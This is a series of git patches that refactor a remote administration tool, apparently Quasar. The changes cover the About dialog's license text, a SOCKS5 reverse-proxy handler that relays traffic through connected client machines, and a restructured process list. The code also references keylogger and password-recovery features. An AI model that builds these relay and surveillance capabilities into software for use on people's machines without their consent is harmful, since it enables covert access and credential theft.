System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.rtxtContent.Size = new System.Drawing.Size(401, 201); + this.rtxtContent.Size = new System.Drawing.Size(498, 252); this.rtxtContent.TabIndex = 6; this.rtxtContent.Text = ""; // @@ -105,23 +106,23 @@ private void InitializeComponent() // lnkCredits // this.lnkCredits.AutoSize = true; - this.lnkCredits.Location = new System.Drawing.Point(373, 80); + this.lnkCredits.Location = new System.Drawing.Point(415, 83); this.lnkCredits.Name = "lnkCredits"; - this.lnkCredits.Size = new System.Drawing.Size(43, 13); + this.lnkCredits.Size = new System.Drawing.Size(98, 13); this.lnkCredits.TabIndex = 4; this.lnkCredits.TabStop = true; - this.lnkCredits.Text = "Credits"; + this.lnkCredits.Text = "3rd-party libraries"; this.lnkCredits.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lnkCredits_LinkClicked); // // lnkGithubPage // this.lnkGithubPage.AutoSize = true; - this.lnkGithubPage.Location = new System.Drawing.Point(344, 60); + this.lnkGithubPage.Location = new System.Drawing.Point(441, 61); this.lnkGithubPage.Name = "lnkGithubPage"; - this.lnkGithubPage.Size = new System.Drawing.Size(72, 13); + this.lnkGithubPage.Size = new System.Drawing.Size(73, 13); this.lnkGithubPage.TabIndex = 3; this.lnkGithubPage.TabStop = true; - this.lnkGithubPage.Text = "GitHub Page"; + this.lnkGithubPage.Text = "GitHub page"; this.lnkGithubPage.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lnkGithubPage_LinkClicked); // // lblSubTitle @@ -130,7 +131,7 @@ private void InitializeComponent() this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.lblSubTitle.Location = new System.Drawing.Point(84, 37); this.lblSubTitle.Name = "lblSubTitle"; - this.lblSubTitle.Size = new System.Drawing.Size(171, 17); + this.lblSubTitle.Size = new System.Drawing.Size(170, 17); this.lblSubTitle.TabIndex = 1; this.lblSubTitle.Text = "Remote Administration Tool"; // @@ -140,7 +141,7 @@ private void InitializeComponent() this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.btnOkay; - this.ClientSize = new System.Drawing.Size(428, 354); + this.ClientSize = new System.Drawing.Size(525, 405); this.Controls.Add(this.lblSubTitle); this.Controls.Add(this.lnkGithubPage); this.Controls.Add(this.lnkCredits); diff --git a/Server/Forms/FrmAbout.cs b/Server/Forms/FrmAbout.cs index 88a373050..7d09236e0 100644 --- a/Server/Forms/FrmAbout.cs +++ b/Server/Forms/FrmAbout.cs @@ -11,11 +11,11 @@ public FrmAbout() { InitializeComponent(); - lblVersion.Text = "v" + Application.ProductVersion; - rtxtContent.Text = Properties.Resources.TermsOfUse; + lblVersion.Text = $"v{Application.ProductVersion}"; + rtxtContent.Text = Properties.Resources.License; - lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL }); - lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" }); + lnkGithubPage.Links.Add(new LinkLabel.Link {LinkData = Settings.RepositoryURL}); + lnkCredits.Links.Add(new LinkLabel.Link {LinkData = Settings.RepositoryURL + "#third-party-libraries"}); } private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index 80ae2e9ee..c2e984d29 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -230,6 +230,26 @@ internal static System.Drawing.Bitmap keyboard_delete { } } + /// + /// Looks up a localized string similar to MIT License + /// + ///Copyright (c) 2018 MaxXor + /// + ///Permission is hereby granted, free of charge, to any person obtaining a copy + ///of this software and associated documentation files (the "Software"), to deal + ///in the Software without restriction, including without limitation the rights + ///to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + ///copies of the Software, and to permit persons to whom the Software is + ///furnished to do so, subject to the following conditions: + /// + ///The above copyright notice [rest of string was truncated]";. + /// + internal static string License { + get { + return ResourceManager.GetString("License", resourceCulture); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index 3e2668ed5..3f69dc03b 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -253,4 +253,27 @@ ..\images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + MIT License + +Copyright (c) 2018 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + \ No newline at end of file From 05d182dd68077a0e85534e8ad5079ec131ca35a5 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 18 Sep 2018 15:53:05 +0200 Subject: [PATCH 124/229] Refactor Reverse Proxy --- Server/Core/Commands/ReverseProxyHandler.cs | 113 +++++++++++ Server/Core/Networking/PacketHandler.cs | 6 - Server/Core/Networking/UserState.cs | 5 - .../ReverseProxyCommandHandler.cs | 48 ----- .../Core/ReverseProxy/ReverseProxyServer.cs | 4 - Server/Forms/FrmMain.cs | 7 - Server/Forms/FrmRemoteDesktop.cs | 2 +- Server/Forms/FrmReverseProxy.cs | 176 +++++++++--------- Server/Server.csproj | 2 +- 9 files changed, 208 insertions(+), 155 deletions(-) create mode 100644 Server/Core/Commands/ReverseProxyHandler.cs delete mode 100644 Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs diff --git a/Server/Core/Commands/ReverseProxyHandler.cs b/Server/Core/Commands/ReverseProxyHandler.cs new file mode 100644 index 000000000..9ae8ec96f --- /dev/null +++ b/Server/Core/Commands/ReverseProxyHandler.cs @@ -0,0 +1,113 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System.Linq; +using xServer.Core.Networking; +using xServer.Core.ReverseProxy; + +namespace xServer.Core.Commands +{ + public class ReverseProxyHandler : MessageProcessorBase + { + /// + /// The clients which is associated with this reverse proxy handler. + /// + private readonly Client[] _clients; + + /// + /// The reverse proxy server to accept & serve SOCKS5 connections. + /// + private ReverseProxyServer _socksServer; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The associated clients. + public ReverseProxyHandler(Client[] clients) : base(true) + { + _clients = clients; + } + + /// + public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + /// + public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnectResponse con: + Execute(sender, con); + break; + case ReverseProxyData data: + Execute(sender, data); + break; + case ReverseProxyDisconnect disc: + Execute(sender, disc); + break; + } + } + + /// + /// Starts the reverse proxy server using the given port. + /// + /// The port to listen on. + public void StartReverseProxyServer(ushort port) + { + _socksServer = new ReverseProxyServer(); + _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; + _socksServer.StartServer(_clients, "0.0.0.0", port); + } + + /// + /// Stops the reverse proxy server. + /// + public void StopReverseProxyServer() + { + _socksServer.Stop(); + _socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection -= socksServer_onUpdateConnection; + } + + private void Execute(ISender client, ReverseProxyConnectResponse message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.HandleCommandResponse(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.SendToClient(message.Data); + } + + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.Disconnect(); + } + + void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + StopReverseProxyServer(); + } + } + } +} diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index 2aafeb0ab..d0666ab30 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -79,12 +79,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet); } - else if (type == typeof(ReverseProxyConnectResponse) || - type == typeof(ReverseProxyData) || - type == typeof(ReverseProxyDisconnect)) - { - ReverseProxyCommandHandler.HandleCommand(client, packet); - } } } } diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 79623abf8..d8cde069e 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -28,11 +28,8 @@ public class UserState : IDisposable public FrmRegistryEditor FrmRe { get; set; } public FrmRemoteShell FrmRs { get; set; } public FrmKeylogger FrmKl { get; set; } - public FrmReverseProxy FrmProxy { get; set; } public FrmPasswordRecovery FrmPass { get; set; } - public ReverseProxyServer ProxyServer { get; set; } - public void Dispose() { Dispose(true); @@ -54,8 +51,6 @@ protected virtual void Dispose(bool disposing) FrmRs.Invoke((MethodInvoker)delegate { FrmRs.Close(); }); if (FrmKl != null) FrmKl.Invoke((MethodInvoker)delegate { FrmKl.Close(); }); - if (FrmProxy != null) - FrmProxy.Invoke((MethodInvoker)delegate { FrmProxy.Close(); }); if (FrmPass != null) FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); } diff --git a/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs deleted file mode 100644 index 25da086b6..000000000 --- a/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs +++ /dev/null @@ -1,48 +0,0 @@ -using Quasar.Common.Messages; -using xServer.Core.Networking; - -namespace xServer.Core.ReverseProxy -{ - public class ReverseProxyCommandHandler - { - public static void HandleCommand(Client client, IMessage packet) - { - var type = packet.GetType(); - if (type == typeof (ReverseProxyConnectResponse)) - { - ReverseProxyConnectResponse response = (ReverseProxyConnectResponse) packet; - if (client.Value.ProxyServer != null) - { - ReverseProxyClient socksClient = - client.Value.ProxyServer.GetClientByConnectionId(response.ConnectionId); - if (socksClient != null) - { - socksClient.HandleCommandResponse(response); - } - } - } - else if (type == typeof (ReverseProxyData)) - { - ReverseProxyData dataCommand = (ReverseProxyData) packet; - ReverseProxyClient socksClient = - client.Value.ProxyServer.GetClientByConnectionId(dataCommand.ConnectionId); - - if (socksClient != null) - { - socksClient.SendToClient(dataCommand.Data); - } - } - else if (type == typeof (ReverseProxyDisconnect)) - { - ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect) packet; - ReverseProxyClient socksClient = - client.Value.ProxyServer.GetClientByConnectionId(disconnectCommand.ConnectionId); - - if (socksClient != null) - { - socksClient.Disconnect(); - } - } - } - } -} \ No newline at end of file diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Server/Core/ReverseProxy/ReverseProxyServer.cs index 761509f34..dfea5917a 100644 --- a/Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Server/Core/ReverseProxy/ReverseProxyServer.cs @@ -67,10 +67,6 @@ public void StartServer(Client[] clients, string ipAddress, ushort port) Stop(); this.Clients = clients; - - for (int i = 0; i < clients.Length; i++) - this.Clients[i].Value.ProxyServer = this; - this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); this._socket.Listen(100); diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index b76464d29..12eef62c8 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -11,7 +11,6 @@ using xServer.Core.Cryptography; using xServer.Core.Data; using xServer.Core.Extensions; -using xServer.Enums; using xServer.Core.Helper; using xServer.Core.Networking; using xServer.Core.Networking.Utilities; @@ -607,12 +606,6 @@ private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmProxy != null) - { - c.Value.FrmProxy.Focus(); - return; - } - FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients()); frmRS.Show(); } diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index 3d88ff82e..5a0c188d7 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -206,7 +206,7 @@ private void StopStream() /// /// Toggles the activatability of configuration controls in the status/configuration panel. /// - /// When set to true the configuration controls get enabled, otherwise false. + /// When set to true the configuration controls get enabled, otherwise they get disabled. private void ToggleConfigurationControls(bool started) { btnStart.Enabled = !started; diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index 786ffaa8a..88db17e0d 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -1,32 +1,77 @@ -using System; +using Quasar.Common.Messages; +using System; using System.Globalization; using System.Net.Sockets; using System.Windows.Forms; +using xServer.Core.Commands; using xServer.Core.Data; -using xServer.Core.ReverseProxy; using xServer.Core.Helper; using xServer.Core.Networking; +using xServer.Core.ReverseProxy; namespace xServer.Forms { public partial class FrmReverseProxy : Form { + /// + /// The clients which can be used for the reverse proxy. + /// private readonly Client[] _clients; - private ReverseProxyServer SocksServer { get; set; } + + /// + /// The message handler for handling the communication with the clients. + /// + private readonly ReverseProxyHandler _reverseProxyHandler; + + /// + /// The open reverse proxy connections. + /// private ReverseProxyClient[] _openConnections; - private Timer _refreshTimer; + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The clients used for the reverse proxy form. public FrmReverseProxy(Client[] clients) { this._clients = clients; + this._reverseProxyHandler = new ReverseProxyHandler(clients); + + RegisterMessageHandler(); + InitializeComponent(); + } - foreach (Client c in clients) + /// + /// Registers the connections manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + //_connectClient.ClientState += ClientDisconnected; + _reverseProxyHandler.ProgressChanged += ConnectionChanged; + MessageHandler.Register(_reverseProxyHandler); + } + + /// + /// Unregisters the connections manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_reverseProxyHandler); + _reverseProxyHandler.ProgressChanged -= ConnectionChanged; + //_connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) { - if (c == null || c.Value == null) continue; - c.Value.FrmProxy = this; + this.Invoke((MethodInvoker)this.Close); } - - InitializeComponent(); } private void FrmReverseProxy_Load(object sender, EventArgs e) @@ -44,6 +89,24 @@ private void FrmReverseProxy_Load(object sender, EventArgs e) nudServerPort.Value = Settings.ReverseProxyPort; } + private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) + { + Settings.ReverseProxyPort = GetPortSafe(); + UnregisterMessageHandler(); + _reverseProxyHandler.Dispose(); + } + + private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients) + { + lock (_reverseProxyHandler) + { + lstConnections.BeginUpdate(); + _openConnections = proxyClients; + lstConnections.VirtualListSize = _openConnections.Length; + lstConnections.EndUpdate(); + } + } + private void btnStart_Click(object sender, EventArgs e) { try @@ -57,16 +120,8 @@ private void btnStart_Click(object sender, EventArgs e) return; } - SocksServer = new ReverseProxyServer(); - SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; - SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; - SocksServer.StartServer(_clients, "0.0.0.0", port); - ToggleButtons(true); - - _refreshTimer = new Timer(); - _refreshTimer.Tick += RefreshTimer_Tick; - _refreshTimer.Interval = 100; - _refreshTimer.Start(); + _reverseProxyHandler.StartReverseProxyServer(port); + ToggleConfigurationButtons(true); } catch (SocketException ex) { @@ -81,7 +136,6 @@ private void btnStart_Click(object sender, EventArgs e) "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues", ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } - btnStop_Click(sender, null); } catch (Exception ex) { @@ -89,75 +143,34 @@ private void btnStart_Click(object sender, EventArgs e) string.Format( "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues", ex.Message, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - btnStop_Click(sender, null); } } - void RefreshTimer_Tick(object sender, EventArgs e) - { - try - { - lock (SocksServer) - { - this._openConnections = SocksServer.OpenConnections; - lstConnections.VirtualListSize = this._openConnections.Length; - lstConnections.Refresh(); - } - } - catch { } - } - + /// + /// Safely gets the value from the and parses it as . + /// + /// The server port parsed as . Returns 0 on error. private ushort GetPortSafe() { var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture); - ushort port; - return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port; + return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port; } - void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) + /// + /// Toggles the activatability of configuration controls. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationButtons(bool started) { - - } - - void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) - { - - } - - private void ToggleButtons(bool t) - { - btnStart.Enabled = !t; - nudServerPort.Enabled = !t; - btnStop.Enabled = t; + btnStart.Enabled = !started; + nudServerPort.Enabled = !started; + btnStop.Enabled = started; } private void btnStop_Click(object sender, EventArgs e) { - if (_refreshTimer != null) - _refreshTimer.Stop(); - ToggleButtons(false); - if (SocksServer != null) - SocksServer.Stop(); - - try - { - SocksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; - SocksServer.OnUpdateConnection -= socksServer_onUpdateConnection; - } - catch { } - } - - private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) - { - Settings.ReverseProxyPort = GetPortSafe(); - //Stop the proxy server if still active - btnStop_Click(sender, null); - - for (int i = 0; i < _clients.Length; i++) - { - if (_clients[i] != null && _clients[i].Value != null) - _clients[i].Value.FrmProxy = null; - } + ToggleConfigurationButtons(false); + _reverseProxyHandler.StopReverseProxyServer(); } private void nudServerPort_ValueChanged(object sender, EventArgs e) @@ -167,7 +180,7 @@ private void nudServerPort_ValueChanged(object sender, EventArgs e) private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { - lock (SocksServer) + lock (_reverseProxyHandler) { if (e.ItemIndex < _openConnections.Length) { @@ -189,11 +202,11 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { - lock (SocksServer) + lock (_reverseProxyHandler) { if (lstConnections.SelectedIndices.Count > 0) { - //copy the list, it could happen the suddenly the items de-select + //copy the list, it could happen that suddenly the items de-select int[] items = new int[lstConnections.SelectedIndices.Count]; lstConnections.SelectedIndices.CopyTo(items, 0); @@ -202,10 +215,7 @@ private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) if (index < _openConnections.Length) { ReverseProxyClient connection = _openConnections[index]; - if (connection != null) - { - connection.Disconnect(); - } + connection?.Disconnect(); } } } diff --git a/Server/Server.csproj b/Server/Server.csproj index 5785aae85..b0d4a1c3a 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,6 +115,7 @@ + @@ -151,7 +152,6 @@ - From 94010d0c38f982f21ccefe94151b211a8441ce35 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 19 Sep 2018 09:33:32 +0200 Subject: [PATCH 125/229] Refactor Task Manager --- Client/Core/Commands/SystemHandler.cs | 55 +++--- Client/Core/Commands/TcpConnectionsHandler.cs | 6 +- .../Messages/GetProcessesResponse.cs | 9 +- Quasar.Common/Models/Process.cs | 17 ++ Quasar.Common/Quasar.Common.csproj | 1 + Server/Core/Commands/SurveillanceHandler.cs | 40 +---- Server/Core/Commands/TaskManagerHandler.cs | 76 +++++++++ Server/Core/Commands/TcpConnectionsHandler.cs | 2 +- Server/Core/Networking/PacketHandler.cs | 5 - Server/Core/Networking/UserState.cs | 4 - Server/Forms/FrmConnections.cs | 2 +- Server/Forms/FrmFileManager.cs | 2 +- Server/Forms/FrmMain.cs | 10 +- Server/Forms/FrmReverseProxy.cs | 1 + Server/Forms/FrmTaskManager.cs | 156 +++++++++++------- Server/Server.csproj | 1 + 16 files changed, 229 insertions(+), 158 deletions(-) create mode 100644 Quasar.Common/Models/Process.cs create mode 100644 Server/Core/Commands/TaskManagerHandler.cs diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 855f5ed08..5dfd5720e 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -1,21 +1,20 @@ -using System; +using Microsoft.Win32; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Net.NetworkInformation; using System.Windows.Forms; -using Microsoft.Win32; -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using Quasar.Common.Models; using xClient.Config; using xClient.Core.Data; using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; using xClient.Core.Utilities; -using File = System.IO.File; +using Models = Quasar.Common.Models; namespace xClient.Core.Commands { @@ -46,7 +45,7 @@ public static void HandleGetDrives(GetDrives command, Client client) return; } - Drive[] drives = new Drive[driveInfos.Length]; + Models.Drive[] drives = new Models.Drive[driveInfos.Length]; for (int i = 0; i < drives.Length; i++) { try @@ -58,7 +57,7 @@ public static void HandleGetDrives(GetDrives command, Client client) : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, FormatHelper.DriveTypeName(driveInfos[i].DriveType), driveInfos[i].DriveFormat); - drives[i] = new Drive + drives[i] = new Models.Drive { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; } catch (Exception) @@ -106,7 +105,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { try { - List startupItems = new List(); + List startupItems = new List(); using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { @@ -114,7 +113,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { foreach (var item in key.GetKeyValues()) { - startupItems.Add(new StartupItem + startupItems.Add(new Models.StartupItem {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun}); } } @@ -125,7 +124,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { foreach (var item in key.GetKeyValues()) { - startupItems.Add(new StartupItem + startupItems.Add(new Models.StartupItem {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce}); } } @@ -136,7 +135,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { foreach (var item in key.GetKeyValues()) { - startupItems.Add(new StartupItem + startupItems.Add(new Models.StartupItem {Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun}); } } @@ -147,7 +146,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { foreach (var item in key.GetKeyValues()) { - startupItems.Add(new StartupItem + startupItems.Add(new Models.StartupItem {Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce}); } } @@ -160,7 +159,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { foreach (var item in key.GetKeyValues()) { - startupItems.Add(new StartupItem + startupItems.Add(new Models.StartupItem {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run}); } } @@ -171,7 +170,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { foreach (var item in key.GetKeyValues()) { - startupItems.Add(new StartupItem + startupItems.Add(new Models.StartupItem { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64RunOnce }); @@ -183,10 +182,8 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); - startupItems.AddRange(from file in files - where file.Name != "desktop.ini" - select new StartupItem() - {Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu}); + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Models.StartupItem + {Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu})); } client.Send(new GetStartupItemsResponse {StartupItems = startupItems}); @@ -388,20 +385,20 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Client client) public static void HandleGetProcesses(GetProcesses command, Client client) { Process[] pList = Process.GetProcesses(); - string[] processes = new string[pList.Length]; - int[] ids = new int[pList.Length]; - string[] titles = new string[pList.Length]; + var processes = new Models.Process[pList.Length]; - int i = 0; - foreach (Process p in pList) + for (int i = 0; i < pList.Length; i++) { - processes[i] = p.ProcessName + ".exe"; - ids[i] = p.Id; - titles[i] = p.MainWindowTitle; - i++; + var process = new Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle + }; + processes[i] = process; } - client.Send(new GetProcessesResponse {Processes = processes, Ids = ids, Titles = titles}); + client.Send(new GetProcessesResponse {Processes = processes}); } public static void HandleDoProcessStart(DoProcessStart command, Client client) diff --git a/Client/Core/Commands/TcpConnectionsHandler.cs b/Client/Core/Commands/TcpConnectionsHandler.cs index a10a77fb3..3e0332467 100644 --- a/Client/Core/Commands/TcpConnectionsHandler.cs +++ b/Client/Core/Commands/TcpConnectionsHandler.cs @@ -1,11 +1,11 @@ using Quasar.Common.Enums; using Quasar.Common.Messages; -using Quasar.Common.Models; using System; using System.Diagnostics; using System.Net; using System.Runtime.InteropServices; using xClient.Core.Networking; +using Models = Quasar.Common.Models; namespace xClient.Core.Commands { @@ -17,7 +17,7 @@ public static void HandleGetConnections(Client client, GetConnections packet) { var table = GetTable(); - var connections = new TcpConnection[table.Length]; + var connections = new Models.TcpConnection[table.Length]; for (int i = 0; i < table.Length; i++) { @@ -32,7 +32,7 @@ public static void HandleGetConnections(Client client, GetConnections packet) processName = $"PID: {table[i].owningPid}"; } - connections[i] = new TcpConnection { + connections[i] = new Models.TcpConnection { ProcessName = processName, LocalAddress = table[i].LocalAddress.ToString(), LocalPort = table[i].LocalPort, diff --git a/Quasar.Common/Messages/GetProcessesResponse.cs b/Quasar.Common/Messages/GetProcessesResponse.cs index ce4dbb260..c20242401 100644 --- a/Quasar.Common/Messages/GetProcessesResponse.cs +++ b/Quasar.Common/Messages/GetProcessesResponse.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Models; namespace Quasar.Common.Messages { @@ -6,12 +7,6 @@ namespace Quasar.Common.Messages public class GetProcessesResponse : IMessage { [ProtoMember(1)] - public string[] Processes { get; set; } - - [ProtoMember(2)] - public int[] Ids { get; set; } - - [ProtoMember(3)] - public string[] Titles { get; set; } + public Process[] Processes { get; set; } } } diff --git a/Quasar.Common/Models/Process.cs b/Quasar.Common/Models/Process.cs new file mode 100644 index 000000000..a28496c24 --- /dev/null +++ b/Quasar.Common/Models/Process.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Process + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public int Id { get; set; } + + [ProtoMember(3)] + public string MainWindowTitle { get; set; } + } +} diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 7917d02ec..d53bf285b 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -58,6 +58,7 @@ + diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index fa1db43e3..bf7675e48 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -1,14 +1,12 @@ +using Quasar.Common.IO; +using Quasar.Common.Messages; using System; +using System.Drawing; using System.IO; using System.Linq; -using System.Drawing; -using System.Threading; -using Quasar.Common.IO; -using Quasar.Common.Messages; using xServer.Core.Data; using xServer.Core.Helper; using xServer.Core.Networking; -using xServer.Core.Utilities; namespace xServer.Core.Commands { @@ -42,38 +40,6 @@ public static void HandleGetPasswordsResponse(Client client, 